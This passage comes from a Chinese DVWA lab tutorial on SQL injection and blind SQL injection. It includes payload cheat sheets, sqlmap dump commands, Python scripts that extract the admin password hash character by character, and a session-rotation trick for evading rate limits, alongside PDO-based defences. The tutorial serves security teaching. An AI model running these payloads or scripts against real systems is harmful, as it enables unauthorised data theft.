  3. 参数绑定 - 数据类型明确指定
  4. 限制结果 - LIMIT 1限制返回行数

PDO预编译原理

传统拼接(不安全):

1
2
3
4
5
// 危险方式
$query = "SELECT * FROM users WHERE id = '$id'";
// 如果$id = "1' OR '1'='1"
// 结果:SELECT * FROM users WHERE id = '1' OR '1'='1'
// 注入成功!

PDO预编译(安全):

1
2
3
4
5
6
7
8
9
10
11
// 安全方式
$stmt = $db->prepare('SELECT * FROM users WHERE id = :id');
$stmt->bindParam(':id', $id, PDO::PARAM_INT);
$stmt->execute();

// 执行过程:
// 1. 数据库先编译SQL结构:"SELECT * FROM users WHERE id = ?"
// 2. 然后绑定数据:id = "1' OR '1'='1"
// 3. 数据被当作字符串整体,不会被解析为SQL代码
// 4. 实际执行:SELECT * FROM users WHERE id = '1\' OR \'1\'=\'1\''
// 5. 查找id为整个字符串的记录(不存在),注入失败!

为什么预编译安全?

1
2
3
4
5
6
传统方式:
用户输入 → 拼接到SQL → 作为代码执行 ✗

预编译方式:
SQL结构 → 先编译
用户输入 → 只作为数据绑定 → 不会被当作代码 ✓

为什么无法攻破?

多层防御:

  1. is_numeric()验证

    1
    2
    3
    输入:1' OR '1'='1
    is_numeric("1' OR '1'='1") = false
    拒绝!
  2. PDO预编译

    1
    2
    即使绕过is_numeric,PDO也会将输入当作数据
    不会被执行为SQL代码
  3. 参数类型

    1
    2
    PDO::PARAM_INT - 强制转换为整数
    "1' OR '1'='1"1

攻击尝试全部失败:

1
2
3
4
5
6
7
8
9
10
11
12
13
// 尝试1:字符串注入
输入:1' OR '1'='1
is_numeric() → false → 拒绝

// 尝试2:纯数字UNION
输入:1 UNION SELECT ...
is_numeric("1 UNION SELECT ...") → false → 拒绝

// 尝试3:只输入数字
输入:1
is_numeric("1") → true → 通过
但PDO预编译会将其安全处理
只会查询id=1的记录,无法注入

防御建议

代码层面

1. 使用PDO预编译(强烈推荐)

1
2
3
4
5
6
7
8
// 正确的做法
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = :id AND name = :name');
$stmt->execute(['id' => $id, 'name' => $name]);

// 或使用bindParam
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = ?');
$stmt->bindParam(1, $id, PDO::PARAM_INT);
$stmt->execute();

2. 使用mysqli预编译

1
2
3
4
5
// mysqli预编译
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("i", $id); // i = integer
$stmt->execute();
$result = $stmt->get_result();

参数类型:

  • i - integer(整数)
  • d - double(浮点数)
  • s - string(字符串)
  • b - blob(二进制数据)

3. 输入验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 验证ID是否为数字
if (!is_numeric($id)) {
die("Invalid ID");
}

// 验证邮箱格式
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
die("Invalid email");
}

// 使用正则表达式
if (!preg_match('/^[a-zA-Z0-9]+$/', $username)) {
die("Invalid username");
}

4. 白名单验证

1
2
3
4
5
6
7
// 只允许特定值
$allowed_columns = ['id', 'name', 'email'];
if (!in_array($sort_by, $allowed_columns)) {
$sort_by = 'id'; // 默认值
}

$query = "SELECT * FROM users ORDER BY {$sort_by}";

5. 最小权限原则

1
2
3
4
5
6
7
8
9
-- 为Web应用创建专用数据库用户
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'strong_password';

-- 只授予必要的权限
GRANT SELECT, INSERT, UPDATE ON mydb.* TO 'webapp'@'localhost';

-- 不要授予
-- DROP, DELETE(除非必要)
-- FILE, SUPER, PROCESS(危险权限)

架构层面

  1. WAF(Web应用防火墙)

    • ModSecurity
    • Cloudflare WAF
    • AWS WAF
  2. 输入输出分离

    • ORM框架(Eloquent, Doctrine)
    • 查询构建器(Query Builder)
  3. 错误处理

    1
    2
    3
    4
    5
    6
    7
    8
    // 不要显示详细错误
    // mysqli_query($query) or die(mysql_error()); ✗

    // 记录错误,显示通用消息
    if (!mysqli_query($query)) {
    error_log(mysqli_error($conn));
    die("An error occurred");
    }

检测工具

  1. SQLMap - 自动化SQL注入检测
  2. Burp Suite Scanner - 漏洞扫描
  3. OWASP ZAP - 免费安全扫描工具

总结对比

特性 Low Medium High Impossible
输入过滤 mysqli_escape mysqli_escape + stripslashes is_numeric()
SQL类型 字符串拼接 字符串拼接(无引号) 字符串拼接 PDO预编译
引号保护 ✅ 有引号 ❌ 无引号 ✅ 有引号 N/A
SESSION
攻击方式 字符串注入 数字注入 字符串注入 无法注入
攻击难度 极易 简单 中等 几乎不可能
典型Payload 1' OR '1'='1 1 OR 1=1 1' OR '1'='1 无效

常用SQL注入Payload集合

基础测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
-- 单引号测试
'
"
\

-- 逻辑测试
1' OR '1'='1
1' OR '1'='1' --
1' OR '1'='1' #
1' OR '1'='1'/*

-- 数字注入
1 OR 1=1
1 AND 1=1
1 AND 1=2

UNION注入

1
2
3
4
5
6
7
8
9
10
11
12
13
-- 判断列数
1' ORDER BY 1 --
1' ORDER BY 2 --
1' ORDER BY 3 --

-- UNION SELECT
1' UNION SELECT NULL, NULL --
1' UNION SELECT 1, 2 --
1' UNION SELECT 'test', 'test2' --

-- 获取信息
1' UNION SELECT @@version, database() --
1' UNION SELECT user(), current_user() --

信息收集

1
2
3
4
5
6
7
8
9
10
11
12
-- 数据库
1' UNION SELECT schema_name, NULL FROM information_schema.schemata --

-- 表
1' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema='dvwa' --

-- 列
1' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users' --

-- 数据
1' UNION SELECT user, password FROM users --
1' UNION SELECT GROUP_CONCAT(user,':',password), NULL FROM users --

盲注

1
2
3
4
5
6
7
-- 基于布尔的盲注
1' AND SUBSTRING(database(),1,1)='d' --
1' AND ASCII(SUBSTRING(database(),1,1))=100 --

-- 基于时间的盲注
1' AND SLEEP(5) --
1' AND IF(1=1, SLEEP(5), 0) --

实战建议

学习路径:

  1. Low难度 - 掌握基本注入技巧
  2. Medium难度 - 理解数字型注入
  3. High难度 - 学习SESSION利用
  4. Impossible难度 - 理解PDO防御原理

工具使用:

  • 手动测试 → 理解原理
  • Burp Suite → 自动化重放
  • SQLMap → 高效利用

道德准则:

  • 只在授权环境测试
  • 不攻击真实系统
  • 学以致用,保护而非破坏

目录


漏洞简介

什么是盲注(Blind SQL Injection)?

盲注是一种SQL注入攻击,应用程序不直接返回数据库查询结果或错误信息,攻击者必须通过应用程序的不同响应(如页面内容、HTTP状态码、响应时间)来推断数据库信息。

与普通SQL注入的区别:

特性 普通SQL注入 盲注
错误信息 直接显示 不显示
查询结果 直接返回 不返回
利用方式 UNION查询 布尔/时间盲注
攻击难度 较低 较高
攻击速度 慢(需逐字符猜测)

盲注的类型:

1. 布尔盲注(Boolean-based Blind SQL Injection)

通过True/False条件判断,观察页面响应的差异:

1
2
3
4
5
6
-- 测试条件
1' AND 1=1 -- → 返回True(页面正常)
1' AND 1=2 -- → 返回False(页面异常)

-- 猜测数据
1' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a' --

判断依据:

  • 页面内容不同(如”User exists”或”User not found”)
  • HTTP状态码不同
  • 页面长度不同

2. 时间盲注(Time-based Blind SQL Injection)

通过数据库延时函数,观察响应时间:

1
2
3
4
5
6
-- MySQL
1' AND SLEEP(5) -- → 延迟5秒
1' AND IF(1=1, SLEEP(5), 0) --

-- 猜测数据
1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a', SLEEP(5), 0) --

判断依据:

  • 响应时间差异(延迟 vs 正常)

危害:

  • 获取数据库内容(用户名、密码等)
  • 确定数据库类型和版本
  • 枚举数据库结构
  • 获取敏感配置信息
  • 完全控制数据库

DVWA场景:
通过用户ID查询用户信息,应用只显示”User exists”或”User not found”。


Low 难度

攻击目标

完全未过滤,可进行布尔盲注和时间盲注。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php

// 检查是否提交了表单
// isset() - 检查变量是否存在
if( isset( $_GET[ 'Submit' ] ) ) {

// ★★★ 危险操作:直接获取用户输入,无任何过滤 ★★★
// $_GET['id'] - 从URL获取id参数
// trim() - 只是去除首尾空格,不做任何安全处理
// mysql_real_escape_string() - 只防单引号,不够安全
//
// 问题:
// 1. 没有参数化查询
// 2. 直接拼接SQL
// 3. 虽然使用了mysql_real_escape_string(),但在某些情况下仍可绕过
$id = $_GET[ 'id' ];

// ★★★ 危险操作:直接拼接SQL语句 ★★★
// SELECT first_name, last_name FROM users WHERE user_id = '$id'
//
// 漏洞:攻击者可以注入任意SQL代码
// 例如:$id = "1' AND 1=1 --"
// 结果:SELECT first_name, last_name FROM users WHERE user_id = '1' AND 1=1 --'
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

// 执行SQL查询
// mysql_query() - 执行MySQL查询(已弃用)
// 返回结果集资源
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

// ★★★ 问题:不显示具体数据,只显示是否存在 ★★★
// mysql_num_rows() - 返回结果集的行数
// 这就是"盲注"的原因:
// - 如果有结果:显示"User ID exists"
// - 如果无结果:显示"User ID not found"
// - 攻击者只能通过这两种响应来推断信息
if( mysql_num_rows( $result ) > 0 ) {
// 用户存在
// ★★★ 不显示具体的first_name和last_name ★★★
echo '<pre>User ID exists in the database.</pre>';
}
else {
// 用户不存在
echo '<pre>User ID is MISSING from the database.</pre>';
}

// 关闭数据库连接
mysql_close();
}

?>

HTML表单:

1
2
3
4
5
6
7
<form name="form1" action="#" method="GET">
<p>
User ID:
<input type="text" name="id" size="15">
<input type="submit" name="Submit" value="Submit">
</p>
</form>

漏洞分析

核心问题:

  1. 直接拼接SQL - 没有使用参数化查询
  2. 不显示具体数据 - 只返回存在/不存在
  3. 显示错误信息 - or die(mysql_error())暴露数据库信息
  4. 无输入验证 - 接受任意输入

数据流向:

1
2
3
4
5
6
7
用户输入($_GET['id'])

直接拼接到SQL

执行查询

只返回True/False

攻击步骤

步骤1:测试SQL注入漏洞

测试1:基础测试

1
2
3
4
5
6
7
8
9
10
输入: 1'
结果: MySQL错误(说明有SQL注入)

输入: 1' AND '1'='1
结果: User ID exists(True

输入: 1' AND '1'='2
结果: User ID not found(False

结论:存在布尔盲注漏洞

步骤2:布尔盲注 - 确定数据库信息

测试数据库版本:

1
2
3
4
5
6
7
8
9
10
-- 测试MySQL版本是否>5
1' AND (SELECT SUBSTRING(@@version,1,1))>'5' --

True → 版本>5
False → 版本<=5

-- 逐字符猜测版本号
1' AND (SELECT SUBSTRING(@@version,1,1))='5' --
1' AND (SELECT SUBSTRING(@@version,3,1))='7' --
...

测试数据库名称长度:

1
2
3
4
5
6
7
8
9
10
-- 数据库名长度是否>5
1' AND LENGTH(database())>5 --

-- 二分法确定长度
1' AND LENGTH(database())>10 -- → False
1' AND LENGTH(database())>5 -- → True
1' AND LENGTH(database())>7 -- → False
1' AND LENGTH(database())=6 -- → True

结论:数据库名长度为6

猜测数据库名(逐字符):

1
2
3
4
5
6
7
8
9
10
-- 第一个字符
1' AND SUBSTRING(database(),1,1)='a' -- → False
1' AND SUBSTRING(database(),1,1)='b' -- → False
...
1' AND SUBSTRING(database(),1,1)='d' -- → True

-- 第二个字符
1' AND SUBSTRING(database(),2,1)='v' -- → True

-- 继续...最终得到:dvwa

步骤3:枚举数据库表

获取表名数量:

1
2
-- 测试表数量
1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>1 --

获取第一个表名:

1
2
3
4
5
6
7
-- 表名长度
1' AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))=9 --

-- 第一个字符
1' AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1)='g' --

-- 继续...得到:guestbook

步骤4:枚举表的列名

1
2
3
4
5
6
7
-- users表的列数
1' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name='users' AND table_schema=database())>5 --

-- 第一个列名
1' AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),1,1)='u' --

-- 继续...得到:user_id, first_name, last_name, user, password, avatar...

步骤5:提取数据

获取admin密码(逐字符):

1
2
3
4
5
6
7
8
9
10
-- 密码长度
1' AND LENGTH((SELECT password FROM users WHERE user='admin'))=32 --

-- 第一个字符
1' AND SUBSTRING((SELECT password FROM users WHERE user='admin'),1,1)='5' --

-- 第二个字符
1' AND SUBSTRING((SELECT password FROM users WHERE user='admin'),2,1)='f' --

-- 继续...得到完整MD5哈希

步骤6:时间盲注(当布尔盲注不可用时)

测试时间盲注:

1
2
3
4
5
6
7
-- 基础测试
1' AND SLEEP(5) --
结果:响应延迟5秒

-- 条件时间盲注
1' AND IF(1=1, SLEEP(5), 0) -- → 延迟5秒(True)
1' AND IF(1=2, SLEEP(5), 0) -- → 立即响应(False)

使用时间盲注提取数据:

1
2
3
4
5
6
7
-- 数据库名第一个字符是'd'
1' AND IF(SUBSTRING(database(),1,1)='d', SLEEP(5), 0) --
响应慢 → True
响应快 → False

-- 提取密码
1' AND IF(SUBSTRING((SELECT password FROM users WHERE user='admin'),1,1)='5', SLEEP(5), 0) --

步骤7:使用SQLMap自动化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 基本扫描
sqlmap -u "http://dvwa.local/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=your_session" \
--batch

# 获取数据库名
sqlmap -u "http://dvwa.local/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=your_session" \
--dbs

# 获取表名
sqlmap -u "http://dvwa.local/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=your_session" \
-D dvwa --tables

# 获取列名
sqlmap -u "http://dvwa.local/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=your_session" \
-D dvwa -T users --columns

# 导出数据
sqlmap -u "http://dvwa.local/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=your_session" \
-D dvwa -T users --dump

Medium 难度

攻击目标

使用了mysqli和简单过滤,但仍可进行盲注。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php

if( isset( $_POST[ 'Submit' ] ) ) {

// ★★★ 改进1:从POST获取数据(而不是GET) ★★★
// POST数据不会显示在URL中
// 但这不能防止SQL注入!
$id = $_POST[ 'id' ];

// ★★★ 改进2:使用mysqli(而不是mysql) ★★★
// mysqli_real_escape_string() - 转义特殊字符
// 参数1:数据库连接
// 参数2:要转义的字符串
//
// 转义内容:
// \x00 → \\x00
// \n → \\n
// \r → \\r
// \ → \\
// ' → \'
// " → \"
// \x1a → \\x1a
//
// 问题:
// 1. 仍然是字符串拼接,不是参数化查询
// 2. 在某些情况下仍可能被绕过(如宽字节注入)
// 3. 不防止数字型注入(如果没有引号)
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ?
mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) :
((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));

// ★★★ 仍然拼接SQL ★★★
// 虽然使用了mysqli_real_escape_string(),但仍不安全
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

// ★★★ 改进3:不显示错误信息 ★★★
// 移除了 or die(mysql_error())
// 攻击者无法看到SQL错误
// 但这使得需要使用盲注技术
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query );

// 仍然只显示存在/不存在
if( $result && mysqli_num_rows( $result ) == 1 ) {
// 用户存在
echo '<pre>User ID exists in the database.</pre>';
}
else {
// ★★★ 改进4:不透露具体原因 ★★★
// 无论是不存在还是查询错误,都显示相同信息
// 增加了攻击难度
echo '<pre>User ID is MISSING from the database.</pre>';
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

HTML表单改为POST:

1
2
3
4
5
6
7
<form name="form1" action="#" method="POST">
<p>
User ID:
<input type="text" name="id" size="15">
<input type="submit" name="Submit" value="Submit">
</p>
</form>

新增防护

  1. 使用POST - 数据不在URL中
  2. mysqli_real_escape_string() - 转义特殊字符
  3. 不显示错误 - 移除die(mysql_error())
  4. 统一错误信息 - 不透露失败原因

仍存在的漏洞

关键问题:

虽然使用了mysqli_real_escape_string(),但:

  1. 数字型注入 - 查询中user_id = $id没有引号!

    1
    2
    -- 注意:没有引号包围$id
    SELECT * FROM users WHERE user_id = $id;
  2. mysqli_real_escape_string()只转义引号 - 对数字型注入无效

    1
    2
    3
    4
    输入: 1 OR 1=1
    mysqli_real_escape_string(): 1 OR 1=1 (不变)
    SQL: SELECT * FROM users WHERE user_id = 1 OR 1=1;
    结果:注入成功!

绕过方法

方法1:数字型注入(最直接)

1
2
3
4
5
6
7
-- 基础测试
1 OR 1=1User exists(返回所有用户)
1 AND 1=2User not found(False

-- 布尔盲注
1 AND (SELECT SUBSTRING(database(),1,1))='d'
1 AND LENGTH(database())=4

方法2:时间盲注

1
2
3
4
5
6
-- 基础测试
1 AND SLEEP(5)
→ 响应延迟5

-- 条件时间盲注
1 AND IF((SELECT SUBSTRING(database(),1,1))='d', SLEEP(5), 0)

方法3:使用SQLMap

1
2
3
4
5
6
7
8
9
10
11
12
13
# 指定POST参数
sqlmap -u "http://dvwa.local/vulnerabilities/sqli_blind/" \
--data="id=1&Submit=Submit" \
--cookie="security=medium; PHPSESSID=your_session" \
--batch \
-p id

# 使用时间盲注技术
sqlmap -u "http://dvwa.local/vulnerabilities/sqli_blind/" \
--data="id=1&Submit=Submit" \
--cookie="security=medium; PHPSESSID=your_session" \
--technique=T \
-D dvwa -T users --dump

方法4:Python脚本自动化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests
import time

url = "http://dvwa.local/vulnerabilities/sqli_blind/"
cookies = {
'security': 'medium',
'PHPSESSID': 'your_session'
}

def check_condition(condition):
"""测试条件是否为True"""
payload = f"1 AND {condition}"
data = {'id': payload, 'Submit': 'Submit'}

response = requests.post(url, data=data, cookies=cookies)

return 'exists' in response.text

def extract_string(query, length):
"""提取字符串(布尔盲注)"""
result = ""

for i in range(1, length + 1):
# 二分法查找字符
for c in 'abcdefghijklmnopqrstuvwxyz0123456789_':
condition = f"(SELECT SUBSTRING(({query}),{i},1))='{c}'"

if check_condition(condition):
result += c
print(f"Found char {i}: {c} (current: {result})")
break

return result

# 获取数据库名长度
for length in range(1, 20):
if check_condition(f"LENGTH(database())={length}"):
print(f"Database name length: {length}")
break

# 提取数据库名
db_name = extract_string("database()", length)
print(f"Database name: {db_name}")

# 提取admin密码
password = extract_string("SELECT password FROM users WHERE user='admin'", 32)
print(f"Admin password hash: {password}")

High 难度

攻击目标

使用了LIMIT和Session,增加了复杂度,但仍可盲注。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php

if( isset( $_COOKIE[ 'id' ] ) ) {

// ★★★ 改进1:使用Cookie传递数据 ★★★
// 而不是GET或POST
// 但这不能防止SQL注入!
// 攻击者仍可以修改Cookie
$id = $_COOKIE[ 'id' ];

// ★★★ 改进2:使用Session限制尝试次数 ★★★
// 检查Session中是否有尝试次数记录
if( !isset( $_SESSION['count'] ) ) {
$_SESSION['count'] = 0;
}

// ★★★ 限流机制 ★★★
// 每次请求增加计数
$_SESSION['count']++;

// ★★★ 问题:限制不够严格 ★★★
// 只是在特定次数后暂停1秒
// 攻击者可以通过:
// 1. 清除Session
// 2. 使用多个Session
// 3. 忍受延迟继续攻击
if( $_SESSION['count'] > 3 ) {
// 暂停1秒(轻微的速率限制)
sleep(1);
}

// 使用mysqli_real_escape_string()转义
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ?
mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) :
((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));

// ★★★ 改进3:添加LIMIT 1 ★★★
// LIMIT 1 - 只返回一行结果
//
// 目的:限制结果数量
// 问题:
// 1. 不能防止SQL注入
// 2. 攻击者仍可以使用盲注
// 3. 可以使用UNION绕过(在某些情况下)
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

$result = mysqli_query($GLOBALS["___mysqli_ston"], $query );

if( $result && mysqli_num_rows( $result ) == 1 ) {
echo '<pre>User ID exists in the database.</pre>';
}
else {
// ★★★ 改进4:重置Session计数 ★★★
// 查询失败后重置
// 但这实际上帮助了攻击者(可以无限尝试)
$_SESSION['count'] = 0;

echo '<pre>User ID is MISSING from the database.</pre>';
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

HTML部分(JavaScript设置Cookie):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<form name="form1" onsubmit="return setCookie();">
<p>
User ID:
<input type="text" name="id" size="15">
<input type="submit" value="Submit">
</p>
</form>

<script>
// ★★★ 使用JavaScript设置Cookie ★★★
function setCookie() {
var id = document.forms["form1"]["id"].value;

// 设置Cookie
// path=/ - Cookie对整个网站有效
document.cookie = "id=" + id + "; path=/";

// 重新加载页面,触发PHP处理Cookie
location.reload();

return false; // 防止表单提交
}
</script>

新增防护

  1. 使用Cookie - 数据通过Cookie传递
  2. Session计数 - 限制尝试次数
  3. 添加LIMIT - 限制查询结果
  4. 速率限制 - sleep()延迟

仍存在的漏洞

核心问题:

  1. 仍是字符串拼接 - 有单引号,但仍可注入
  2. 限流太弱 - 只延迟1秒,可以忍受
  3. Session可重置 - 清除Cookie重新开始
  4. LIMIT不防注入 - 可以用注释绕过

LIMIT绕过:

1
2
3
4
5
6
7
8
9
10
11
-- 原始查询
SELECT * FROM users WHERE user_id = '$id' LIMIT 1;

-- 注释掉LIMIT
$id = 1' --
结果:SELECT * FROM users WHERE user_id = '1' --' LIMIT 1;
简化:SELECT * FROM users WHERE user_id = '1'

-- 或使用#
$id = 1' #
结果:SELECT * FROM users WHERE user_id = '1' #' LIMIT 1;

绕过方法

方法1:注释绕过LIMIT

1
2
3
4
5
6
-- 使用--注释
1' AND 1=1 --
1' AND (SELECT SUBSTRING(database(),1,1))='d' --

-- 使用#注释
1' AND 1=1 #

方法2:容忍速率限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import time

url = "http://dvwa.local/vulnerabilities/sqli_blind/"

# 创建Session(保持Cookie)
session = requests.Session()
session.cookies.set('security', 'high')
session.cookies.set('PHPSESSID', 'your_session')

def check_condition(condition):
payload = f"1' AND {condition} --"

# 设置Cookie
session.cookies.set('id', payload)

response = session.get(url)

# High难度可能有延迟,需要更长超时
return 'exists' in response.text

# 继续盲注(虽然慢,但可行)
result = ""
for i in range(1, 5):
for c in 'abcdefghijklmnopqrstuvwxyz':
if check_condition(f"(SELECT SUBSTRING(database(),{i},1))='{c}'"):
result += c
print(f"Found: {result}")
break

# 增加延迟以适应限流
time.sleep(1)

方法3:使用多个Session绕过限流

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 当一个Session被限流,切换到另一个
sessions = []
for i in range(10):
s = requests.Session()
s.cookies.set('security', 'high')
s.cookies.set('PHPSESSID', f'session_{i}')
sessions.append(s)

current_session = 0

def check_with_rotation(condition):
global current_session
session = sessions[current_session]

# 每3次请求切换Session
if current_session % 3 == 0:
current_session = (current_session + 1) % len(sessions)

# 使用当前Session检查
# ...

方法4:时间盲注(不受LIMIT影响)

1
2
3
4
5
6
-- 时间盲注不受LIMIT限制
1' AND SLEEP(5) --
响应慢 → 注入成功

-- 提取数据
1' AND IF((SELECT SUBSTRING(database(),1,1))='d', SLEEP(3), 0) --

Impossible 难度

攻击目标

使用PDO预编译语句,真正安全。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<?php

if( isset( $_GET[ 'Submit' ] ) ) {

// ★★★ 改进1:验证Anti-CSRF token ★★★
// checkToken() - 验证CSRF token
// 防止跨站请求伪造
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// 获取用户输入
$id = $_GET[ 'id' ];

// ★★★ 改进2:输入验证 ★★★
// is_numeric() - 检查是否为数字
// 如果不是数字,直接拒绝
//
// 这是白名单验证:只接受数字
if( is_numeric( $id ) ) {

// ★★★ 核心防护:PDO预编译语句 ★★★
// $db - PDO数据库连接对象
// prepare() - 准备SQL语句
// :id - 命名参数占位符
//
// 原理:
// 1. SQL结构和数据完全分离
// 2. 参数永远不会被当作SQL代码执行
// 3. 数据库引擎知道:id是数据,不是代码
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );

// ★★★ 绑定参数 ★★★
// bindParam() - 将变量绑定到参数
// PDO::PARAM_INT - 参数类型为整数
//
// 作用:
// 1. 明确指定参数类型
// 2. 防止类型混淆攻击
$data->bindParam( ':id', $id, PDO::PARAM_INT );

// ★★★ 执行查询 ★★★
// execute() - 执行预编译语句
// 此时才真正执行SQL
// 参数值被安全地插入
$data->execute();

// ★★★ 获取结果 ★★★
// fetch() - 获取一行结果
// 如果没有结果,返回false
if( $data->rowCount() == 1 ) {
// ★★★ 改进3:显示具体数据 ★★★
// 因为已经完全安全,可以显示数据
$row = $data->fetch();
echo '<pre>User ID exists in the database.</pre>';
echo '<pre>First name: ' . $row[ 'first_name' ] . '</pre>';
echo '<pre>Surname: ' . $row[ 'last_name' ] . '</pre>';
}
else {
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
else {
// ★★★ 输入不是数字,直接拒绝 ★★★
echo '<pre>Invalid input: must be numeric</pre>';
}
}

// ★★★ 生成新的CSRF token ★★★
generateSessionToken();

?>

完善的防护机制

多层防御:

  1. CSRF Token - 防止跨站请求伪造
  2. 输入验证 - is_numeric()白名单
  3. PDO预编译 - SQL结构和数据分离
  4. 参数类型绑定 - PDO::PARAM_INT
  5. LIMIT限制 - 防止返回过多数据

PDO预编译工作原理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
传统拼接(不安全):
$query = "SELECT * FROM users WHERE id = '$id'";

攻击:$id = "1' OR '1'='1"

结果:SELECT * FROM users WHERE id = '1' OR '1'='1'

SQL注入成功!

PDO预编译(安全):
$stmt = $db->prepare("SELECT * FROM users WHERE id = :id");
$stmt->bindParam(':id', $id, PDO::PARAM_INT);
$stmt->execute();

攻击:$id = "1' OR '1'='1"

PDO处理:将"1' OR '1'='1"作为整数0
或拒绝(不是有效整数)

SQL注入失败!

为什么无法攻破?

所有攻击都被阻止:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
攻击11' OR '1'='1
is_numeric() → False → 拒绝

攻击21 OR 1=1
is_numeric() → False → 拒绝(包含空格)

攻击31
is_numeric() → True
PDO → 安全执行
结果:正常查询,无法注入

攻击41; DROP TABLE users; --
is_numeric() → False → 拒绝

攻击5:使用十六进制/Unicode绕过
is_numeric() → False → 拒绝

关键防御点:

  1. 白名单验证 - 只接受数字
  2. 预编译语句 - SQL结构固定
  3. 参数绑定 - 类型强制转换
  4. 双重保护 - 验证 + PDO

防御建议

代码层面

1. 使用PDO预编译(最佳方案)

1
2
3
4
5
6
7
8
// ✅ 正确:PDO预编译
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = :id');
$stmt->bindParam(':id', $id, PDO::PARAM_INT);
$stmt->execute();

// 或使用execute()直接传递参数
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = ?');
$stmt->execute([$id]);

2. 输入验证和白名单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 验证数字
if (!is_numeric($id)) {
die('Invalid input');
}

// 验证字符串(白名单)
$allowed = ['admin', 'user', 'guest'];
if (!in_array($input, $allowed)) {
die('Invalid input');
}

// 正则验证
if (!preg_match('/^[a-zA-Z0-9_]+$/', $input)) {
die('Invalid characters');
}

3. 最小权限原则

1
2
3
4
5
6
7
8
9
// 数据库用户只有SELECT权限
// 即使被注入,也无法DELETE/UPDATE/DROP

// config.php
$db_user = 'read_only_user'; // 只读用户
$db_pass = 'secure_password';

// 授权(在MySQL中)
GRANT SELECT ON database.* TO 'read_only_user'@'localhost';

4. 错误处理

1
2
3
4
5
6
7
8
9
10
// ❌ 不要显示数据库错误
// die(mysql_error());

// ✅ 记录错误到日志
try {
$stmt->execute();
} catch (PDOException $e) {
error_log('Database error: ' . $e->getMessage());
die('An error occurred');
}

检测层面

1. WAF规则

1
2
3
4
5
6
7
# ModSecurity规则示例
SecRule ARGS "@detectSQLi" \
